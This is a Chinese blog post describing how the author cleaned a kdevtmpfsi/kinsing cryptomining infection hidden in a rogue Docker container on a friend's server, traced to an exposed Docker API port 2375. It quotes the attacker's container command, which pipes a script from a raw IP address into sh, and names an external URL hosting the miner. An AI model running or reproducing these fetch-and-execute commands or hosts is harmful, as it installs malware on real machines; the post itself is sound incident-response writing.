一次在docker中处理kdevtmpfsi的经历

3,733 阅读3分钟

开局一张图,内容全靠编。

下午的时候工友突然问我的小水管有没有被拉过去挖矿,然后让我看了一眼短信截图。啧啧啧,是不是在服务器上下了什么不该下的东西?本着工友之间友好互助的原则,要来了服务器的密码开搞。

拿到机器第一件事应该是看哪个进程占用CPU。使用top观察了一会儿,kdevtmpfsi这个进程CPU一直在99左右,应该就是它了。

依照上次服务器被挂马的经历,首先应该检查服务器是否有可疑的定时任务。使用crontab -l命令来查看当前的服务器的定时任务。

居然没有定时任务,那就先kill掉进程试试,通过kill {PID} 的方式结束进程,看着CPU是降下来了,然后再找本地是不是又相关的文件。

看到这个东西的时候,感觉有点摸不着头脑,居然跟docker有关,接着使用docker ps -a 查看本地正在运行的容器。其他容器我都认识,这个ubuntu的容器是偷渡来的吧?

先观察一下这个ubuntu容器,docker inspect ubuntu。

"apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null"。看到这个args里面出现cron start,看来这个cronjob藏在容器里,还好这个东西只影响docker容器里的东西,如果在宿主机上,那不是爆炸了。这么说的话,基本只要把docker停掉,就不会有后续的问题了,但是如果还想继续用docker的话,还要继续下去。

使用命令docker exec -ti ubuntu /bin/bash进入容器。在容器中,先使用top命令,看看是不是真的是这个容器的问题,实锤了,就是它。

通过crontab -l来查看当前容器的cronjob,每分钟去执行一遍d.sh这个脚本。

既然找到了定时任务,删掉就好了,但是在/etc/crontab中找不到该定时任务,可以使用crontab -e命令来删除。看到top命令中,有两个可疑的进程kdevtmpfs和kinsing,通过kill {PID}来杀掉进程。除了杀掉进程,还要删除跟这两个进程相关的文件。通过find命令找到在/tmp和/var/tmp下有残留的文件,使用sudo rm -rf命令删除时出现rm: cannot remove 'xxx': Operation not permitted,震惊。Google后发现大概是用了chattr命令锁定了文件,使用chattr -i filename解锁,清理残留后,删除本地的镜像和容器也就差不多了。

你以为这样的结束了吗?实际上第二天ubuntu这个镜像又自动拉下来自己启动起来了。后来才发现,工友的阿里云服务器开放了docker默认端口2375,关掉这个端口就完事了。

其实上面这些都是废话,把docker停掉不就没这么多事情了,不过上面解决问题的过程也适用于宿主机,就当一次演习了。虽然上面一顿操作猛如虎,但是实际上还是没解决根本问题让我确实有点挫败。后来瞄了一样别人的shell脚本,各种删除解权限,删进程,停服务,关闭防火墙。后面去https://bitbucket.org/orgaj125/git 下载kinsing并运行起来。即使知道别人怎么搞你,但是无能为力啊。